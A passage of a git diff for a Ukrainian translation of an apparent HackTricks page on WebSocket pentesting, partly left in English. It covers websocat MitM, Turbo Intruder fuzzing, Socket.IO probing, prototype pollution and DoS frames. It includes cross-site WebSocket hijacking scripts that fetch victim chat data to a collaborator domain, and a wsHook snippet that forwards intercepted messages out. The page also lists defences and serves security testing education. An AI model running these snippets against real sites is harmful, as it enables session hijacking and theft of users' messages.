+- Заголовки `Connection` та `Upgrade` сигналізують про початок WebSocket handshake.
+- Заголовок `Sec-WebSocket-Version` вказує бажану версію протоколу WebSocket, зазвичай `13`.
+- У заголовку `Sec-WebSocket-Key` надсилається випадкове значення, закодоване в Base64, що гарантує унікальність кожного handshake і допомагає запобігти проблемам із кешуючими проксі. Це значення не призначене для аутентифікації, а підтверджує, що відповідь не згенерована неправильно налаштованим сервером або кешем.
+- Заголовок `Sec-WebSocket-Accept` у відповіді сервера є хешем від `Sec-WebSocket-Key`, що підтверджує намір сервера відкрити WebSocket-з'єднання.
 
-Ці функції забезпечують безпечний і надійний процес рукостискання, прокладаючи шлях для ефективної комунікації в реальному часі.
+Ці механізми забезпечують безпечний і надійний процес встановлення з'єднання, що створює підґрунтя для ефективної комунікації в реальному часі.
 
-### Linux console
+### Консоль Linux
 
-Ви можете використовувати `websocat` для встановлення сирого з'єднання з websocket.
+Ви можете використати `websocat` для встановлення сирого з'єднання з websocket.
 ```bash
 websocat --insecure wss://10.10.10.10:8000 -v
 ```
-Або для створення сервера websocat:
+Або створити сервер websocat:
 ```bash
 websocat -s 0.0.0.0:8000 #Listen in port 8000
 ```
-### MitM websocket connections
+### MitM websocket з'єднання
 
-Якщо ви виявите, що клієнти підключені до **HTTP websocket** з вашої поточної локальної мережі, ви можете спробувати [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing), щоб виконати атаку MitM між клієнтом і сервером.\
-Якщо клієнт намагається підключитися, ви можете використовувати:
+Якщо ви виявите, що клієнти підключені до **HTTP websocket** через вашу поточну локальну мережу ви можете спробувати [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)щоб виконати MitM attack між клієнтом та сервером.\
+Коли клієнт намагатиметься підключитися до вас, ви зможете використати:
 ```bash
 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 ```
-### Websockets enumeration
+### Перерахування Websockets
 
-Ви можете використовувати **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **для автоматичного виявлення, ідентифікації та пошуку відомих** **вразливостей** у вебсокетах.
+Ви можете використовувати **інструмент** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **щоб автоматично виявляти, fingerprint і шукати відомі** **вразливості** у websockets.
 
-### Websocket Debug tools
+### Інструменти налагодження Websocket
 
-- **Burp Suite** підтримує MitM вебсокетну комунікацію дуже схожим чином, як це робить для звичайної HTTP-комунікації.
-- Розширення [**socketsleuth**](https://github.com/snyk/socketsleuth) **для Burp Suite** дозволить вам краще керувати вебсокетними комунікаціями в Burp, отримуючи **історію**, встановлюючи **правила перехоплення**, використовуючи **правила збігу та заміни**, використовуючи **Intruder** та **AutoRepeater.**
-- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Скорочено від "**WebSocket/Socket.io Proxy**", цей інструмент, написаний на Node.js, надає інтерфейс для **захоплення, перехоплення, надсилання користувацьких** повідомлень та перегляду всіх вебсокетних і Socket.IO комунікацій між клієнтом і сервером.
-- [**wsrepl**](https://github.com/doyensec/wsrepl) є **інтерактивним вебсокетним REPL**, спеціально розробленим для тестування на проникнення. Він надає інтерфейс для спостереження за **вхідними вебсокетними повідомленнями та надсилання нових**, з простим у використанні фреймворком для **автоматизації** цієї комунікації.
-- [**https://websocketking.com/**](https://websocketking.com/) це **веб для комунікації** з іншими вебами, використовуючи **вебсокети**.
-- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) серед інших типів комунікацій/протоколів, надає **веб для комунікації** з іншими вебами, використовуючи **вебсокети.**
+- **Burp Suite** підтримує MitM websockets-комунікацію дуже схожим чином, як і для звичайного HTTP.
+- Розширення [**socketsleuth**](https://github.com/snyk/socketsleuth) **для Burp Suite** дозволяє краще керувати Websocket-комунікаціями в Burp, отримуючи **history**, встановлюючи **interception rules**, використовуючи правила **match and replace**, а також **Intruder** і **AutoRepeater**.
+- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Скорочення від "**WebSocket/Socket.io Proxy**". Цей інструмент, написаний на Node.js, надає інтерфейс користувача для **capture, intercept, send custom** повідомлень та перегляду всіх WebSocket і Socket.IO комунікацій між клієнтом і сервером.
+- [**wsrepl**](https://github.com/doyensec/wsrepl) — **interactive websocket REPL**, спроектований спеціально для penetration testing. Надає інтерфейс для спостереження за **incoming websocket messages and sending new ones**, з простим фреймворком для **automating** цієї комунікації.
+- [**https://websocketking.com/**](https://websocketking.com/) — це веб-інструмент для спілкування з іншими вебсайтами, використовуючи **websockets**.
+- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) — серед інших типів комунікацій/протоколів, надає веб-інструмент для спілкування з іншими вебсайтами, використовуючи **websockets.**
 
-## Decrypting Websocket
+## Дешифрування Websocket
 
 - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
 - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
 
-## Websocket Lab
+## Лабораторія Websocket
 
-У [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) у вас є код для запуску вебу, використовуючи вебсокети, а в [**цьому пості**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) ви можете знайти пояснення.
+У [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) є код для запуску веб-додатку, що використовує websockets, а в [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) можна знайти пояснення.
 
 ## Websocket Fuzzing
 
-Розширення burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) тепер також дозволяє фуззити вебсокетні повідомлення. Ви можете прочитати більше інформації про це [**тут**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
+Розширення Burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) тепер дозволяє fuzz також WebSocket-повідомлення. Більше інформації можна прочитати [**тут**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
+
+### WebSocket Turbo Intruder (розширення Burp)
+
+WebSocket Turbo Intruder від PortSwigger додає Turbo Intruder–style Python скриптинг і high‑rate fuzzing до WebSockets. Встановіть його з BApp Store або з джерел. Він містить два компоненти:
+
+- Turbo Intruder: high‑volume messaging до одного WS endpoint із використанням custom engines.
+- HTTP Middleware: відкриває локальний HTTP endpoint, який пересилає тіла як WS‑повідомлення через постійне з'єднання, тож будь-який HTTP‑базований сканер може перевіряти WS бекенди.
+
+Базовий шаблон скрипта для fuzzing WS endpoint і фільтрації релевантних відповідей:
+```python
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(upgrade_request)
+for i in range(10):
+connection.queue(message, str(i))
+
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@MatchRegex(r'{\"user\":\"Hal Pline\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+Використовуйте декоратори на кшталт `@MatchRegex(...)`, щоб зменшити шум, коли одне повідомлення викликає кілька відповідей.
+
+### Міст WS за HTTP (HTTP Middleware)
+
+Огорніть постійне WS-з'єднання та пересилайте HTTP-тіла як WS-повідомлення для автоматизованого тестування за допомогою HTTP-сканерів:
+```python
+def create_connection(upgrade_request):
+connection = websocket_connection.create(upgrade_request)
+return connection
+
+@MatchRegex(r'{\"user\":\"You\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+Потім надішліть HTTP локально; тіло пересилається як WS-повідомлення:
+```http
+POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
+Host: 127.0.0.1:9000
+Content-Length: 16
+
+{"message":"hi"}
+```
+Це дозволяє керувати WS-бекендами, одночасно фільтруючи “цікаві” події (наприклад, SQLi errors, auth bypass, command injection behavior).
+
+### Socket.IO обробка (handshake, heartbeats, events)
+
+Socket.IO додає власну фреймінгову обгортку поверх WS. Виявляйте це за обов'язковим параметром запиту `EIO` (наприклад, `EIO=4`). Підтримуйте сесію живою за допомогою Ping (`2`) і Pong (`3`) та починайте розмову з `"40"`, потім відправляйте події, наприклад `42["message","hello"]`.
+
+Intruder example:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.queue('42["message","hello"]')
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+HTTP варіант адаптера:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def create_connection(upgrade_request):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.decIn()
+return connection
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+### Виявлення server‑side prototype pollution через Socket.IO
+
+Дотримуючись безпечної методики виявлення PortSwigger, спробуйте викликати prototype pollution у внутрішніх структурах Express, відправивши payload, наприклад:
+```json
+{"__proto__":{"initialPacket":"Polluted"}}
+```
+If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See:
+
+- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
+
+### WebSocket race conditions with Turbo Intruder
+
+The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in `config()`.
+
+- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
+
+### WebSocket DoS: malformed frame “Ping of Death”
+
+Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near `Integer.MAX_VALUE` can cause Out‑Of‑Memory and a remote unauth DoS. See the example script.
+
+### CLI and debugging
+
+- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
+- Enable the WS Logger to capture and correlate messages using internal IDs.
+- Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters.
+- Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive.
+
+### Operational safety
+
+High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted.
 
 ## Cross-site WebSocket hijacking (CSWSH)
 
-**Перехоплення вебсокетів між сайтами**, також відоме як **перехоплення вебсокетів з різних джерел**, визначається як специфічний випадок **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**, що впливає на вебсокетні з'єднання. Ця вразливість виникає, коли вебсокетні з'єднання аутентифікуються виключно через **HTTP cookies** без **CSRF токенів** або подібних заходів безпеки.
+**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures.
 
-Зловмисники можуть скористатися цим, розмістивши **шкідливу веб-сторінку**, яка ініціює міжсайтове вебсокетне з'єднання з вразливою програмою. В результаті це з'єднання розглядається як частина сесії жертви з програмою, експлуатуючи відсутність захисту CSRF у механізмі обробки сесій.
+Attackers can exploit this by hosting a **malicious web page** that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.
 
-Для того, щоб ця атака спрацювала, необхідні такі умови:
+In order for this attack to work, these are the requirements:
 
-- Аутентифікація вебсокета **повинна базуватися на cookie**
-- Cookie повинна бути доступною з сервера зловмисника (це зазвичай означає **`SameSite=None`**) і не повинно бути **Firefox Total Cookie Protection** увімкнено в Firefox та не повинно бути **блокованих сторонніх cookie** в Chrome.
-- Вебсокетний сервер не повинен перевіряти походження з'єднання (або це повинно бути обхідним)
+- The websocket **authentication must be cookie based**
+- The cookie must be accessible from the attackers server (this usually means **`SameSite=None`**) and no **Firefox Total Cookie Protection** enabled in Firefox and no **blocked third-party cookies** in Chrome.
+- The websocket server must not check the origin of the connection (or this must be bypasseable)
 
-Також:
+Also:
 
-- Якщо аутентифікація базується на локальному з'єднанні (до localhost або до локальної мережі), атака **буде можливою**, оскільки жоден поточний захист не забороняє цього (перевірте [більше інформації тут](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
+- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
 
 ### Simple Attack
 
-Зверніть увагу, що при **встановленні** **вебсокетного** з'єднання **cookie** **надсилається** на сервер. **Сервер** може використовувати його для **пов'язування** кожного **конкретного** **користувача** з його **вебсокетною** **сесією на основі надісланого cookie**.
+Зверніть увагу, що під час **встановлення** **websocket** з'єднання **cookie** **надсилається** на сервер. **server** може використовувати його, щоб **зв'язати** кожного **конкретного** **user** з його **websocket** **session based on the sent cookie**.
 
-Тоді, якщо, наприклад, **вебсокетний** **сервер** **повертає історію розмови** користувача, якщо надіслати повідомлення з "**READY"**, тоді **проста XSS**, що встановлює з'єднання ( **cookie** буде **надіслано** **автоматично** для авторизації жертви) **надсилаючи** "**READY**" зможе **отримати** історію **розмови**.
+Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.:
 ```html
 <script>
 websocket = new WebSocket('wss://your-websocket-URL')
@@ -122,13 +239,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
 }
 </script>
 ```
-### Cross Origin + Cookie with a different subdomain
+### Cross Origin + Cookie з іншим subdomain
 
-У цьому блозі [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) зловмисник зміг **виконати довільний Javascript у піддомені** домену, де відбувалася комунікація через веб-сокети. Оскільки це був **піддомен**, **кукі** надсилалися, і оскільки **Websocket не перевіряв Origin належним чином**, було можливим спілкуватися з ним і **викрасти токени**.
+У цій публікації в блозі [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) зловмисник зміг **execute arbitrary Javascript in a subdomain** домену, де відбувалася web socket communication. Оскільки це був **subdomain**, **cookie** відправлявся, а через те, що **Websocket didn't check the Origin properly**, стало можливим взаємодіяти з ним і **steal tokens from it**.
 
-### Stealing data from user
+### Викрадення даних користувача
 
-Скопіюйте веб-додаток, який ви хочете наслідувати (файли .html, наприклад), і всередині скрипта, де відбувається комунікація через веб-сокети, додайте цей код:
+Скопіюйте веб-застосунок, який ви хочете імітувати (наприклад, файли .html) і всередині скрипта, де відбувається websocket communication, додайте цей код:
 ```javascript
 //This is the script tag to load the websocket hooker
 ;<script src="wsHook.js"></script>
@@ -148,34 +265,34 @@ xhttp.send()
 return messageEvent
 }
 ```
-Тепер завантажте файл `wsHook.js` з [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) і **збережіть його в папці з веб-файлами**.\
-Відкриваючи веб-додаток і змушуючи користувача підключитися до нього, ви зможете вкрасти надіслані та отримані повідомлення через websocket:
+Тепер завантажте файл `wsHook.js` з [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) і **збережіть його в папці з веб-файлами**.  
+Розкривши веб-додаток і змусивши користувача підключитися до нього, ви зможете вкрасти відправлені та отримані повідомлення через websocket:
 ```javascript
 sudo python3 -m http.server 80
 ```
-### CSWSH Захисти
+### Захист від CSWSH
 
-Атака CSWSH базується на тому, що **користувач підключиться до шкідливої сторінки**, яка **відкриє вебсокетне з'єднання** до веб-сторінки, до якої користувач вже підключений, і аутентифікує його, оскільки запит надішле куки користувача.
+Атака CSWSH базується на тому, що **користувач підключиться до шкідливої сторінки**, яка **відкриє websocket connection** до веб-сторінки, де користувач вже автентифікований, і виконає автентифікацію від його імені, оскільки запит надішле cookies користувача.
 
-Сьогодні дуже легко запобігти цій проблемі:
+На сьогодні це досить просто запобігти:
 
-- **Перевірка походження вебсокетного сервера**: Вебсокетний сервер завжди повинен перевіряти, звідки підключається користувач, щоб запобігти підключенню несподіваних сторінок.
-- **Токен аутентифікації**: Замість того, щоб базувати аутентифікацію на куках, вебсокетне з'єднання може базуватися на токені, який генерується сервером для користувача, невідомого зловмиснику (як токен проти CSRF).
-- **Атрибут куки SameSite**: Куки з значенням `SameSite` як `Lax` або `Strict` не будуть надіслані з зовнішньої сторінки зловмисника на сервер жертви, отже, аутентифікація на основі куків не буде успішною. Зверніть увагу, що Chrome тепер встановлює значення **`Lax`** для куків без цього прапора, роблячи це більш безпечним за замовчуванням. Хоча, протягом перших 2 хвилин після створення куки вона матиме значення **`None`**, що робить її вразливою протягом цього обмеженого періоду часу (також очікується, що цей захід буде видалено в якийсь момент).
-- **Загальний захист куків Firefox**: Загальний захист куків працює, ізолюючи куки на сайті, на якому вони створені. По суті, кожен сайт має своє власне сховище куків, щоб запобігти третім особам пов'язувати історію перегляду користувача. Це робить **CSWSH непридатним**, оскільки сайт зловмисника не матиме доступу до куків.
-- **Блокування сторонніх куків у Chrome**: Це також може запобігти надсиланню куки аутентифікованого користувача на вебсокетний сервер, навіть з `SameSite=None`.
+- **Websocket server checking the origin**: websocket server повинен завжди перевіряти, звідки підключається користувач, щоб запобігти підключенню непередбачених сторінок.
+- **Authentication token**: Замість базування автентифікації на cookie, websocket connection може базуватися на токені, який генерується сервером для користувача і невідомий атакуючому (наприклад, як anti-CSRF token).
+- **SameSite Cookie attribute**: Cookies зі значенням `SameSite` `Lax` або `Strict` не будуть надсилатися зі сторінки зовнішнього атакувальника до сервера жертви, тому автентифікація на основі cookie не спрацює. Зауважте, що Chrome тепер встановлює значення **`Lax`** для cookie, якщо цей флаг не вказано, роблячи це більш безпечним за замовчуванням. Однак протягом перших 2 хвилин після створення cookie воно матиме значення **`None`**, що робить його вразливим у цей обмежений період часу (також очікується, що цей захід колись буде видалений).
+- **Firefox Total Cookie Protection**: Total Cookie Protection працює шляхом ізоляції cookie сайту, на якому вони створені. По суті, кожен сайт має власний розділ сховища cookie, щоб запобігти зв'язуванню історії перегляду користувача третіми сторонами. Це робить **CSWSH unusable**, оскільки сайт атакуючого не матиме доступу до cookie.
+- **Chrome third-party cookies block**: Це також може запобігти відправленню cookie автентифікованого користувача до websocket server навіть при `SameSite=None`.
 
-## Умови гонки
+## Race Conditions
 
-Умови гонки у WebSockets також існують, [перевірте цю інформацію, щоб дізнатися більше](race-condition.md#rc-in-websockets).
+Race Conditions у WebSockets також трапляються, [перегляньте цю інформацію, щоб дізнатися більше](race-condition.md#rc-in-websockets).
 
 ## Інші вразливості
 
-Оскільки вебсокети є механізмом для **надсилання даних на серверну та клієнтську сторони**, залежно від того, як сервер і клієнт обробляють інформацію, **вебсокети можуть бути використані для експлуатації кількох інших вразливостей, таких як XSS, SQLi або будь-яка інша загальна веб-вразливість, використовуючи введення користувача з вебсокета.**
+Оскільки Web Sockets — це механізм для **надсилання даних на серверну та клієнтську частини**, залежно від того, як сервер і клієнт обробляють інформацію, **Web Sockets можуть бути використані для експлуатації інших вразливостей, таких як XSS, SQLi або будь-які інші поширені веб-вразливості, використовуючи введення користувача через websocket.**
 
-## **WebSocket Смуглінг**
+## **WebSocket Smuggling**
 
-Ця вразливість може дозволити вам **обійти обмеження зворотних проксі**, змушуючи їх вірити, що **вебсокетне спілкування було встановлено** (навіть якщо це не так). Це може дозволити зловмиснику **отримати доступ до прихованих кінцевих точок**. Для отримання додаткової інформації перегляньте наступну сторінку:
+Ця вразливість може дозволити вам **bypass reverse proxies restrictions**, змусивши їх повірити, що **websocket communication was stablished** (навіть якщо це не так). Це може дозволити атакуючому **access hidden endpoints**. Для детальнішої інформації перегляньте наступну сторінку:
 
 {{#ref}}
 h2c-smuggling.md
@@ -185,5 +302,13 @@ h2c-smuggling.md
 
 - [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
 - [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
+- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
+- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
+- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
+- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
 
 {{#include ../banners/hacktricks-training.md}}